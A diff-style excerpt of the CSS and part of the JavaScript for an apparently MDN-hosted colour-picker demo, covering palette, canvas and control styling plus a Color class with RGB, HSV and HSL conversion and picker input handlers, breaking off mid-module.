+#picker-samples #add-icon:before,
+#picker-samples #add-icon:after {
+	content: "";
+	position: absolute;
+	background-color: #EEE;
+	box-shadow: 0 0 1px 0 #EEE;
+}
+
+#picker-samples #add-icon:before {
+	width: 70%;
+	height: 16%;
+	top: 42%;
+	left: 15%;
+}
+
+#picker-samples #add-icon:after {
+	width: 16%;
+	height: 70%;
+	top: 15%;
+	left: 42%;
+}
+
+#picker-samples #add-icon:hover:before,
+#picker-samples #add-icon:hover:after {
+	background-color: #DDD;
+	box-shadow: 0 0 1px 0 #DDD;
+}
+
+/**
+ * 	Controls
+ */
+
+#controls {
+	width: 110px;
+	padding: 10px;
+	float: right;
+}
+
+#controls #picker-switch {
+	text-align: center;
+	float: left;
+}
+
+#controls .icon {
+	width: 48px;
+	height: 48px;
+	margin: 10px 0;
+	background-repeat: no-repeat;
+	background-position: center;
+	border: 1px solid #DDD;
+	display: table;
+	float: left;
+}
+
+#controls .icon:hover {
+	cursor: pointer;
+}
+
+#controls .picker-icon {
+	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
+}
+
+#controls #void-sample {
+	margin-right: 10px;
+	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
+	background-position: center left;
+}
+
+#controls #void-sample[data-active='true'] {
+	border-color: #CCC;
+	background-position: center right;
+}
+
+#controls .switch {
+	width: 106px;
+	padding: 1px;
+	border: 1px solid #CCC;
+	font-size: 14px;
+	text-align: center;
+	line-height: 24px;
+	overflow: hidden;
+	float: left;
+}
+
+#controls .switch:hover {
+	cursor: pointer;
+}
+
+#controls .switch > * {
+	width: 50%;
+	padding: 2px 0;
+	background-color: #EEE;
+	float: left;
+}
+
+#controls .switch [data-active='true'] {
+	color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-color: #777;
+}
+
+/**
+ * 	Trash Can
+ */
+
+#delete {
+	width: 100%;
+	height: 94px;
+	background-color: #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+
+	text-align: center;
+	color: #777;
+
+	position: relative;
+	float: right;
+}
+
+#delete #trash-can {
+	width: 80%;
+	height: 80%;
+	border: 2px dashed #FFF;
+	border-radius: 5px;
+	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
+
+	position: absolute;
+	top: 10%;
+	left: 10%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	transition: all 0.2s;
+}
+
+#delete[drag-state='enter'] {
+	background-color: #999;
+}
+
+/**
+ * 	Color Theme
+ */
+
+#color-theme {
+	margin: 0 8px 0 0;
+	border: 1px solid #EEE;
+	display: inline-block;
+	float: right;
+}
+
+#color-theme .box {
+	width: 80px;
+	height: 92px;
+	float: left;
+}
+
+/**
+ * Color info box
+ */
+#color-info {
+	width: 360px;
+	float: left;
+}
+
+#color-info .title {
+	width: 100%;
+	padding: 15px;
+	font-size: 18px;
+	text-align: center;
+	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
+	background-repeat:no-repeat;
+	background-position: center left 28%;
+}
+
+#color-info .copy-container {
+	position: absolute;
+	top: -100%;
+}
+
+#color-info .property {
+	min-width: 280px;
+	height: 30px;
+	margin: 10px 0;
+	text-align: center;
+	line-height: 30px;
+}
+
+#color-info .property > * {
+	float: left;
+}
+
+#color-info .property .type {
+	width: 60px;
+	height: 100%;
+	padding: 0 16px 0 0;
+	text-align: right;
+}
+
+#color-info .property .value {
+	width: 200px;
+	height: 100%;
+	padding: 0 10px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 16px;
+	color: #777;
+	text-align: center;
+	background-color: #FFF;
+	border: none;
+}
+
+#color-info .property .value:hover {
+	color: #37994A;
+}
+
+#color-info .property .value:hover + .copy {
+	background-position: center right;
+}
+
+#color-info .property .copy {
+	width: 24px;
+	height: 100%;
+	padding: 0 5px;
+	background-color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
+	background-repeat: no-repeat;
+	background-position: center left;
+	border-left: 1px solid #EEE;
+	text-align: right;
+	float: left;
+}
+
+#color-info .property .copy:hover {
+	background-position: center right;
+}
+
+
+/**
+ * 	Color Palette
+ */
+
+#palette {
+	width: 1000px;
+	padding: 10px 0;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	background-color: #EEE;
+	color: #777;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#color-palette {
+	width: 640px;
+	font-family: Arial, Helvetica, sans-serif;
+	color: #777;
+	float: left;
+}
+
+#color-palette .container {
+	width: 100%;
+	height: 50px;
+	line-height: 50px;
+	overflow: hidden;
+	float: left;
+	transition: all 0.5s;
+}
+
+#color-palette .container > * {
+	float: left;
+}
+
+#color-palette .title {
+	width: 100px;
+	padding: 0 10px;
+	text-align: right;
+	line-height: inherit;
+}
+
+#color-palette .palette {
+	width: 456px;
+	height: 38px;
+	margin: 3px;
+	padding: 3px;
+	display: table;
+	background-color: #FFF;
+}
+
+#color-palette .palette .sample {
+	width: 30px;
+	height: 30px;
+	margin: 3px;
+	position: relative;
+	border: 1px solid #DDD;
+	float: left;
+	transition: all 0.2s;
+}
+
+#color-palette .palette .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#color-palette .controls {
+}
+
+#color-palette .controls > * {
+	float: left;
+}
+
+#color-palette .controls > *:hover {
+	cursor: pointer;
+}
+
+#color-palette .controls .lock {
+	width: 24px;
+	height: 24px;
+	margin: 10px;
+	padding: 3px;
+	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
+	background-repeat: no-repeat;
+	background-position: bottom right;
+}
+
+#color-palette .controls .lock:hover {
+	/*background-image: url('images/unlocked-hover.png');*/
+	background-position: bottom left;
+}
+
+#color-palette .controls .lock[locked-state='true'] {
+	/*background-image: url('images/locked.png');*/
+	background-position: top left ;
+}
+
+#color-palette .controls .lock[locked-state='true']:hover {
+	/*background-image: url('images/lock-hover.png');*/
+	background-position: top right;
+}
+
+/**
+ * Canvas
+ */
+
+#canvas {
+	width: 100%;
+	height: 300px;
+	min-height: 250px;
+	border-top: 1px solid #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	position: relative;
+	float: left;
+}
+
+#canvas[data-tutorial='drop'] {
+	text-align: center;
+	font-size: 30px;
+	color: #777;
+}
+
+#canvas[data-tutorial='drop']:before {
+	content: "Déposez vos couleurs ici";
+	width: 40%;
+	padding: 30px 9% 70px 11%;
+
+	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
+	background-repeat: no-repeat;
+	background-position: left 35px top 60%;
+
+	text-align: center;
+
+	border: 3px dashed rgb(221, 221, 221);
+	border-radius: 15px;
+
+	position: absolute;
+	top: 50px;
+	left: 20%;
+}
+
+#canvas[data-tutorial='drop']:after {
+	content: "pour les comparer, les ajuster ou les modifier.";
+	width: 40%;
+	font-size: 24px;
+	position: absolute;
+	top: 130px;
+	left: 32%;
+	z-index: 2;
+}
+
+#canvas [data-tutorial='dblclick'] {
+	background-color: #999 !important;
+}
+
+#canvas [data-tutorial='dblclick']:before {
+	content: "double click pour activer";
+	width: 80px;
+	color: #FFF;
+	position: absolute;
+	top: 10%;
+	left: 20%;
+	z-index: 2;
+}
+
+#canvas .sample {
+	width: 100px;
+	height: 100px;
+	min-width: 20px;
+	min-height: 20px;
+	position: absolute;
+	border: 1px solid rgba(255, 255, 255, 0.3);
+}
+
+#canvas .sample:hover {
+	cursor: move;
+}
+
+#canvas .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#canvas .sample:hover > * {
+	cursor: pointer;
+	display: block !important;
+}
+
+#canvas .sample .resize-handle {
+	display: none;
+}
+
+#canvas .sample .pick {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#canvas .sample .delete {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+
+/**
+ * Canvas controls
+ */
+
+#canvas .toggle-bg {
+	width: 16px;
+	height: 16px;
+	margin: 5px;
+	background: url("images/canvas-controls.png") center left no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+#canvas .toggle-bg:hover {
+	cursor: pointer;
+}
+
+#canvas[data-bg='true'] {
+	background: none;
+}
+
+#canvas[data-bg='true'] .toggle-bg {
+	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
+}
+
+#zindex {
+	height: 20px;
+	margin: 5px;
+	font-size: 16px;
+	position: absolute;
+	opacity: 0;
+	top: -10000px;
+	left: 0;
+	color: #777;
+	float: left;
+	transition: opacity 1s;
+}
+
+#zindex input {
+	border: 1px solid #DDD;
+	font-size: 16px;
+	color: #777;
+}
+
+#zindex .ui-input-slider-info {
+	width: 60px;
+}
+
+#zindex[data-active='true'] {
+	top: 0;
+	opacity: 1;
+}
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+var UIColorPicker = (function UIColorPicker() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	var subscribers = [];
+	var pickers = [];
+
+	/**
+	 * RGBA Color class
+	 *
+	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 * @param lightness		0-100
+	 */
+
+	function Color(color) {
+
+		if(color instanceof Color === true) {
+			this.copy(color);
+			return;
+		}
+
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+		this.lightness = 0;
+		this.format = 'HSV';
+	}
+
+	function RGBColor(r, g, b) {
+		var color = new Color();
+		color.setRGBA(r, g, b, 1);
+		return color;
+	}
+
+	function RGBAColor(r, g, b, a) {
+		var color = new Color();
+		color.setRGBA(r, g, b, a);
+		return color;
+	}
+
+	function HSVColor(h, s, v) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		return color;
+	}
+
+	function HSVAColor(h, s, v, a) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		color.a = a;
+		return color;
+	}
+
+	function HSLColor(h, s, l) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		return color;
+	}
+
+	function HSLAColor(h, s, l, a) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		color.a = a;
+		return color;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+		this.format = '' + obj.format;
+		this.lightness = obj.lightness;
+	};
+
+	Color.prototype.setFormat = function setFormat(format) {
+		if (format === 'HSV')
+			this.format = 'HSV';
+		if (format === 'HSL')
+			this.format = 'HSL';
+	};
+
+	/*========== Methods to set Color Properties ==========*/
+
+	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
+		return (typeof(value) === 'number' && isNaN(value) === false &&
+			value >= 0 && value <= 255);
+	};
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (this.isValidRGBValue(red) === false ||
+			this.isValidRGBValue(green) === false ||
+			this.isValidRGBValue(blue) === false)
+			return;
+
+			this.r = red | 0;
+			this.g = green | 0;
+			this.b = blue | 0;
+
+		if (this.isValidRGBValue(alpha) === true)
+			this.a = alpha | 0;
+	};
+
+	Color.prototype.setByName = function setByName(name, value) {
+		if (name === 'r' || name === 'g' || name === 'b') {
+			if(this.isValidRGBValue(value) === false)
+				return;
+
+			this[name] = value;
+			this.updateHSX();
+		}
+	};
+
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.lightness = lightness;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHue = function setHue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 359)
+			return;
+		this.hue = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setSaturation = function setSaturation(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.saturation = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setValue = function setValue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setLightness = function setLightness(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.lightness = value;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
+
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+		this.RGBtoHSV();
+	};
+
+	/*========== Conversion Methods ==========*/
+
+	Color.prototype.convertToHSL = function convertToHSL() {
+		if (this.format === 'HSL')
+			return;
+
+		this.setFormat('HSL');
+		this.RGBtoHSL();
+	};
+
+	Color.prototype.convertToHSV = function convertToHSV() {
+		if (this.format === 'HSV')
+			return;
+
+		this.setFormat('HSV');
+		this.RGBtoHSV();
+	};
+
+	/*========== Update Methods ==========*/
+
+	Color.prototype.updateRGB = function updateRGB() {
+		if (this.format === 'HSV') {
+			this.HSVtoRGB();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.HSLtoRGB();
+			return;
+		}
+	};
+
+	Color.prototype.updateHSX = function updateHSX() {
+		if (this.format === 'HSV') {
+			this.RGBtoHSV();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.RGBtoHSL();
+			return;
+		}
+	};
+
+	Color.prototype.HSVtoRGB = function HSVtoRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.HSLtoRGB = function HSLtoRGB() {
+		var sat = this.saturation / 100;
+		var light = this.lightness / 100;
+		var C = sat * (1 - Math.abs(2 * light - 1));
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = light - C/2;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.RGBtoHSV = function RGBtoHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	};
+
+	Color.prototype.RGBtoHSL = function RGBtoHSL() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+		var lightness = (cmax + cmin) / 2;
+		var X = (1 - Math.abs(2 * lightness - 1));
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / X;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.lightness = (lightness * 100) | 0;
+	};
+
+	/*========== Get Methods ==========*/
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r < 16) r = '0' + r;
+		if (this.g < 16) g = '0' + g;
+		if (this.b < 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	};
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
+		var a = '';
+		var v = '';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'rgb' + a + rgb + v + ')';
+		return value;
+	};
+
+	Color.prototype.getHSLA = function getHSLA() {
+		if (this.format === 'HSV') {
+			var color = new Color(this);
+			color.setFormat('HSL');
+			color.updateHSX();
+			return color.getHSLA();
+		}
+
+		var a = '';
+		var v = '';
+		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'hsl' + a + hsl + v + ')';
+		return value;
+	};
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	};
+
+	/*=======================================================================*/
+	/*=======================================================================*/
+
+	/*========== Capture Mouse Movement ==========*/
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener('mousedown', function(e) {
+			callback(e);
+			document.addEventListener('mousemove', callback);
+		});
+
+		document.addEventListener('mouseup', function(e) {
+			document.removeEventListener('mousemove', callback);
+		});
+	};
+
+	/*====================*/
+	// Color Picker Class
+	/*====================*/
+
+	function ColorPicker(node) {
+		this.color = new Color();
+		this.node = node;
+		this.subscribers = [];
+
+		var type = this.node.getAttribute('data-mode');
+		var topic = this.node.getAttribute('data-topic');
+
+		this.topic = topic;
+		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
+		this.color.setFormat(this.picker_mode);
+
+		this.createPickingArea();
+		this.createHueArea();
+
+		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
+		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
+		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
+		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
+
+		this.createAlphaArea();
+
+		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
+		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
+		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
+
+		this.createPreviewBox();
+		this.createChangeModeButton();
+
+		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
+		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
+
+		this.setColor(this.color);
+		pickers[topic] = this;
+	}
+
+	/*************************************************************************/
+	//				Function for generating the color-picker
+	/*************************************************************************/
+
+	ColorPicker.prototype.createPickingArea = function createPickingArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'picking-area';
+		picker.className = 'picker';
+
+		this.picking_area = area;
+		this.color_picker = picker;
+		setMouseTracking(area, this.updateColor.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createHueArea = function createHueArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'hue';
+		picker.className ='slider-picker';
+
+		this.hue_area = area;
+		this.hue_picker = picker;
+		setMouseTracking(area, this.updateHueSlider.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
+		var area = document.createElement('div');
+		var mask = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'alpha';
+		mask.className = 'alpha-mask';
+		picker.className = 'slider-picker';
+
+		this.alpha_area = area;
+		this.alpha_mask = mask;
+		this.alpha_picker = picker;
+		setMouseTracking(area, this.updateAlphaSlider.bind(this));
+
+		area.appendChild(mask);
+		mask.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
+		var preview_box = document.createElement('div');
+		var preview_color = document.createElement('div');
+
+		preview_box.className = 'preview';
+		preview_color.className = 'preview-color';
+
+		this.preview_color = preview_color;
+
+		preview_box.appendChild(preview_color);
+		this.node.appendChild(preview_box);
+	};
+
+	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
+		var wrapper = document.createElement('div');
+		var input = document.createElement('input');
+		var info = document.createElement('span');
+
+		wrapper.className = 'input';
+		wrapper.setAttribute('data-topic', topic);
+		info.textContent = title;
+		info.className = 'name';
+		input.setAttribute('type', 'text');
+
+		wrapper.appendChild(info);
+		wrapper.appendChild(input);
+		this.node.appendChild(wrapper);
+
+		input.addEventListener('change', onChangeFunc);
+		input.addEventListener('click', function() {
+			this.select();
+		});
+
+		this.subscribe(topic, function(value) {
+			input.value = value;
+		});
+	};
+
+	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
+
+		var button = document.createElement('div');
+		button.className = 'switch_mode';
+		button.addEventListener('click', function() {
+			if (this.picker_mode === 'HSV')
+				this.setPickerMode('HSL');
+			else
+				this.setPickerMode('HSV');
+
+		}.bind(this));
+
+		this.node.appendChild(button);
+	};
+
+	/*************************************************************************/
+	//					Updates properties of UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updateColor = function updateColor(e) {
+		var x = e.pageX - this.picking_area.offsetLeft;
+		var y = e.pageY - this.picking_area.offsetTop;
+		var picker_offset = 5;
+
+		// width and height should be the same
+		var size = this.picking_area.clientWidth;
+
+		if (x > size) x = size;
+		if (y > size) y = size;
+		if (x < 0) x = 0;
+		if (y < 0) y = 0;
+
+		var value = 100 - (y * 100 / size) | 0;
+		var saturation = x * 100 / size | 0;
+
+		if (this.picker_mode === 'HSV')
+			this.color.setHSV(this.color.hue, saturation, value);
+		if (this.picker_mode === 'HSL')
+			this.color.setHSL(this.color.hue, saturation, value);
+
+		this.color_picker.style.left = x - picker_offset + 'px';
+		this.color_picker.style.top = y - picker_offset + 'px';
+
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('value', value);
+		this.notify('lightness', value);
+		this.notify('saturation', saturation);
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
+		var x = e.pageX - this.hue_area.offsetLeft;
+		var width = this.hue_area.clientWidth;
+
+		if (x < 0) x = 0;
+		if (x > width) x = width;
+
+		// TODO 360 => 359
+		var hue = ((359 * x) / width) | 0;
+		// if (hue === 360) hue = 359;
+
+		this.updateSliderPosition(this.hue_picker, x);
+		this.setHue(hue);
+	};
+
+	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
+		var x = e.pageX - this.alpha_area.offsetLeft;
+		var width = this.alpha_area.clientWidth;
+
+		if (x < 0) x = 0;
+		if (x > width) x = width;
+
+		this.color.a = (x / width).toFixed(2);
+
+		this.updateSliderPosition(this.alpha_picker, x);
+		this.updatePreviewColor();
+
+		this.notify('alpha', this.color.a);
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setHue = function setHue(value) {
+		this.color.setHue(value);
+
+		this.updatePickerBackground();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+		this.notify('hue', this.color.hue);
+
+		notify(this.topic, this.color);
+	};
+
+	// Updates when one of Saturation/Value/Lightness changes
+	ColorPicker.prototype.updateSLV = function updateSLV() {
+		this.updatePickerPosition();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	/*************************************************************************/
+	//				Update positions of various UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
+		var size = this.picking_area.clientWidth;
+		var value = 0;
+		var offset = 5;
+
+		if (this.picker_mode === 'HSV')
+			value = this.color.value;
+		if (this.picker_mode === 'HSL')
+			value = this.color.lightness;
+
+		var x = (this.color.saturation * size / 100) | 0;
+		var y = size - (value * size / 100) | 0;
+
+		this.color_picker.style.left = x - offset + 'px';
+		this.color_picker.style.top = y - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
+		elem.style.left = Math.max(pos - 3, -2) + 'px';
+	};
+
+	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
+		var size = this.hue_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.hue * size / 360 ) | 0;
+		this.hue_picker.style.left = pos - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
+		var size = this.alpha_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.a * size) | 0;
+		this.alpha_picker.style.left = pos - offset + 'px';
+	};
+
+	/*************************************************************************/
+	//						Update background colors
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
+		var nc = new Color(this.color);
+		nc.setHSV(nc.hue, 100, 100);
+		this.picking_area.style.backgroundColor = nc.getHexa();
+	};
+
+	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
+		this.alpha_mask.style.backgroundColor = this.color.getHexa();
+	};
+
+	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
+		this.preview_color.style.backgroundColor = this.color.getColor();
+	};
+
+	/*************************************************************************/
+	//						Update input elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
+		var value = parseInt(e.target.value);
+		this.setHue(value);
+		this.updateHuePicker();
+	};
+
+	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
+		var value = parseInt(e.target.value);
+		this.color.setSaturation(value);
+		e.target.value = this.color.saturation;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setValue(value);
+		e.target.value = this.color.value;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
+		var value = parseInt(e.target.value);
+		this.color.setLightness(value);
+		e.target.value = this.color.lightness;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('r', value);
+		e.target.value = this.color.r;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('g', value);
+		e.target.value = this.color.g;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('b', value);
+		e.target.value = this.color.b;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
+		var value = parseFloat(e.target.value);
+
+		if (typeof value === 'number' && isNaN(value) === false &&
+			value >= 0 && value <= 1)
+			this.color.a = value.toFixed(2);
+
+		e.target.value = this.color.a;
+		this.updateAlphaPicker();
+	};
+
